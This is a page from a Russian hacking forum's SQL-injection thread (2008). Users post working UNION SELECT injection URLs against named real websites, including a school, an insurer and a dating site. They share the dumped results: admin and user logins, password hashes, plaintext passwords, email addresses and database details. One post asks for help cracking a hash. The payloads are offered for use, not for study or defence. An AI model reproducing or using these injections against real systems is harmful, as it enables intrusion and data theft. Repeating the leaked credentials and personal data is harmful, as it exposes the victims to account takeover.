ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости
Перезагрузить страницу SQL Инъекции
   
Ответ
Страница 567 из 1242 « Первая < 67467517557 563 564 565 566 567 568 569 570 571 5776176671067 > Последняя »
 
Опции темы Поиск в этой теме Опции просмотра

  #5661  
Старый 09.06.2008, 14:55
Аватар для 159932
159932
Постоянный
Регистрация: 28.09.2007
Сообщений: 820
Провел на форуме:
6722038

Репутация: 1385


По умолчанию
Цитата:
http://www.cageprisoners.com/page.php?id=-3+union+select+1,2,concat_ws(0x3a,id,username,pass word,email,level,last_login)+from+admins+limit+0,1/*
5.0.22
admin:NZnlqRHG2GH8RHmHnShvb/
но так как такого хеша , по моему, нету поэтому вот вариации хешей всех админов при добавке $1$$ или $apr1$$ md5(Unix) или md5(APR) соответственно

$1$$M3TkIDtI14ob4MPCg42FO1
$1$$lw5UAzT2SsIuEfwZqZ45Z1
$1$$1xIcgmF403/oVi4lWT/mp/
$1$$MY4aW1u.6HE0oCMmBPGbS0
$1$$LhrLb2O5uxhivwYrDPGSj1
$1$$Eg92rdb3Ur7jmxG/Ip5na/
$1$$lEiUe5NQPjWHfblYeq8np/
$1$$eoqd8CPMgb77qCBgf4hA2/
$1$$NZnlqRHG2GH8RHmHnShvb/

$apr1$$M3TkIDtI14ob4MPCg42FO1
$apr1$$lw5UAzT2SsIuEfwZqZ45Z1
$apr1$$1xIcgmF403/oVi4lWT/mp/
$apr1$$MY4aW1u.6HE0oCMmBPGbS0
$apr1$$LhrLb2O5uxhivwYrDPGSj1
$apr1$$Eg92rdb3Ur7jmxG/Ip5na/
$apr1$$lEiUe5NQPjWHfblYeq8np/
$apr1$$eoqd8CPMgb77qCBgf4hA2/
$apr1$$NZnlqRHG2GH8RHmHnShvb/
 
Ответить с цитированием

  #5662  
Старый 09.06.2008, 17:22
Аватар для fatalo
fatalo
Участник форума
Регистрация: 15.05.2008
Сообщений: 166
Провел на форуме:
2591223

Репутация: 128
Отправить сообщение для fatalo с помощью ICQ
По умолчанию
http://www.hardvision.ru
Сама уязвимость:
Код:
http://www.hardvision.ru/index.php3?to=files&action=showCateg&cid=-233+union+select+1,user(),3/*
Код HTML:
login: foto
database: hardvision
version:5.0.45-5-log
Мой первый пост на форуме =)
 
Ответить с цитированием

  #5663  
Старый 09.06.2008, 18:21
Аватар для SUBJECT617
SUBJECT617
Познающий
Регистрация: 06.08.2007
Сообщений: 85
Провел на форуме:
1695462

Репутация: 91
Отправить сообщение для SUBJECT617 с помощью ICQ
По умолчанию
Код:
http://www.hrv-club.ru/articles.php?m=opit'+UNION+SELECT+1,user,3,4,5,6,7,8+FROM%20mysql.user/*
Код:
http://www.hrv-club.ru/articles.php?m=opit'+UNION+SELECT+1,password,3,4,5,6,7,8+FROM%20mysql.user/*
Код:
http://www.hrv-club.ru/articles.php?m=opit'+UNION+SELECT+1,concat_ws(0x3A,table_schema,TABLE_NAME),3,4,5,6,7,8+FROM%20INFORMATION_SCHEMA.TABLES/*
А вот к форумной бд хз как подойти. Форум ломается обычным сплоитом и админы этого форума присутсвуют еще на 10 других, и везде админка форума защищена какойто дрянью... Мне кажется это "сеть" форумов
Если вдруг комуто очень надо будет, дам админский пасс, чтобы не ломились непонятные люди на форум и неписали какие они крутые кулхацкеры =/
 
Ответить с цитированием

  #5664  
Старый 09.06.2008, 18:59
Аватар для fatalo
fatalo
Участник форума
Регистрация: 15.05.2008
Сообщений: 166
Провел на форуме:
2591223

Репутация: 128
Отправить сообщение для fatalo с помощью ICQ
По умолчанию
Один очень симпатичный еврейский институт(никакой розьни )

www.shalom.edu.au
Домен в зоне .edu (образование)

Бажный линк:
Код HTML:
http://www.shalom.edu.au/contentPage.php?id=-139+union+select+1,2,version(),4/**/&parentId=1'
До конца доводить не решил(влом),но базовые данные выложу:
PHP код:
база данных: shalom_shalom  (уже смешно :) )
юзер: shalom_limmudozD@localhost (шас описаюсь )))
версия: 4.1.22-standard-log 
Между прочим у них очень красивые фотки и СОВСЕМ не фильтрующиея знаки..
Последний раз редактировалось fatalo; 09.06.2008 в 19:01..
 
Ответить с цитированием

  #5665  
Старый 09.06.2008, 19:26
Аватар для 159932
159932
Постоянный
Регистрация: 28.09.2007
Сообщений: 820
Провел на форуме:
6722038

Репутация: 1385


По умолчанию
Цитата:
Сообщение от fatalo  
http://www.hardvision.ru
Сама уязвимость:
Код:
http://www.hardvision.ru/index.php3?to=files&action=showCateg&cid=-233+union+select+1,user(),3/*
Код HTML:
login: foto
database: hardvision
version:5.0.45-5-log
Мой первый пост на форуме =)
хоть и твой первый пост .. но ты должен помнить ! что скулю надо раскручивать если есть такая возможность ! (5ая версия так что тут даже думать нечего !)

================================================== ============
Цитата:
http://www.hardvision.ru/index.php3?to=files&action=showCateg&cid=-233+union+select+1,concat_ws(0x3a,username,passwor d),3+from+hvbb.user+limit+6111,1/*
6к юзеров от булки - md5(md5($pass).$salt)

http://www.hardvision.ru/index.php3?to=files&action=showCateg&cid=-233+union+select+1,concat_ws(0x3a,nick,passwd),3+f rom+foto.admin_table/*
digit:30bf4fb4729f382ca2010fd445f1796d:mityap123

Цитата:
http://www.hardvision.ru/index.php3?to=files&action=showCateg&cid=-233+union+select+1,concat_ws(0x3a,nick,passw,kode) ,3+from+foto.users+limit+0,1/*
юзерские логины-пароли от сервиса www.getfoto.ru

Цитата:
http://www.hardvision.ru/index.php3?to=files&action=showCateg&cid=-233+union+select+1,concat_ws(0x3a,username,passwor d),3+from+hardvision.adrobot_affiliates/*
hardvision:0b1f34d5c98ace48972bf71ccb6d5218:mityap13
 
Ответить с цитированием

  #5666  
Старый 09.06.2008, 19:54
Аватар для CaNNabi$
CaNNabi$
Познающий
Регистрация: 21.01.2008
Сообщений: 85
Провел на форуме:
839509

Репутация: 338
Отправить сообщение для CaNNabi$ с помощью ICQ
По умолчанию
Код:
http://toyota-opa.ru/articles.php?m=-1'%20union+select+1,concat_ws(0x2F,version(),database(),user()),3,4,5,6,7,8/*
5.0.45/opa/root@localhost

Код:
http://www.vitz.ru/articles.php?m=opit&type=-1'%20union+select+1,concat_ws(0x2F,version(),database(),user()),3,4,5,6,7,8/*
5.0.45/vitz_2/root@localhost

Код:
http://www.raum.ru/articles.php?m=opit&type=-1'%20union+select+1,concat_ws(0x2F,version(),database(),user()),3,4,5,6,7,8/*
5.0.45/vitz/root@localhost
 
Ответить с цитированием

mobilka.com.ua
  #5667  
Старый 09.06.2008, 21:07
Аватар для КВР
КВР
Познающий
Регистрация: 23.04.2008
Сообщений: 39
Провел на форуме:
198086

Репутация: 135
По умолчанию mobilka.com.ua
mobilka.com.ua


_http://mobilka.com.ua/melodies/download.php?id=-3206+union+select+1,version(),3,4,5,6--
 
Ответить с цитированием

  #5668  
Старый 09.06.2008, 21:52
Аватар для SUBJECT617
SUBJECT617
Познающий
Регистрация: 06.08.2007
Сообщений: 85
Провел на форуме:
1695462

Репутация: 91
Отправить сообщение для SUBJECT617 с помощью ICQ
По умолчанию
Hande hoch! Gitler kaput! Ich bin bose!
Код:
http://www.fulde-versicherungen.de/efnews/index.php?shownews=2'+UNION+SELECT+1,2,username,4,pwd,6,7,8,9,10,11,12+FROM+ef01pfuser/*
 
Ответить с цитированием

  #5669  
Старый 09.06.2008, 22:03
Аватар для ~!DoK_tOR!~
~!DoK_tOR!~
Banned
Регистрация: 10.11.2006
Сообщений: 829
Провел на форуме:
2634544

Репутация: 1559


Отправить сообщение для ~!DoK_tOR!~ с помощью ICQ
По умолчанию

RANX.ru Знакомства по фотографиям! Без громоздких анкет!


Цитата:
http://ranx.ru/?showFoto=-1+union+select+1,2,concat_ws(0x3a,name,password,em ail),4,5,6,7,8,9,10,11,12,13,14,15,16,17+from+user s/*
Андрейas$w0rd:info@ranx.ru - админ
Антон:ranx.ru:myxolove@mail.ru
ГУЛЬНАРА:timeryn04:gulyaniz@mail.ru

пароли были в Base64
 
Ответить с цитированием

  #5670  
Старый 09.06.2008, 22:23
Аватар для z1k
z1k
Новичок
Регистрация: 11.05.2008
Сообщений: 12
Провел на форуме:
36048

Репутация: 5
По умолчанию
ребята кто поможет с хешем $1$AOOiO7Zi$2he3AqhhFU8197ojSz9bn/
очень срочно нада базы непринимают пишут что некоректный но он таков и нада както его росшифравать сменя +++
 
Ответить с цитированием
Ответ
Страница 567 из 1242 « Первая < 67467517557 563 564 565 566 567 568 569 570 571 5776176671067 > Последняя »



« Предыдущая тема | Следующая тема »
Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Обнаружение Sql инъекций в Oracle, часть вторая k00p3r Чужие Статьи 0 13.06.2005 11:26
SQL инъекция и Oracle, часть 2 k00p3r Чужие Статьи 0 13.06.2005 11:24
Sql инъекция и Oracle, часть первая k00p3r Чужие Статьи 0 13.06.2005 11:23
Внедрение Sql кода с завязанными глазами k00p3r Чужие Статьи 0 12.06.2005 20:48
SQL Injection в Oracle k00p3r Чужие Статьи 0 12.06.2005 12:41



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ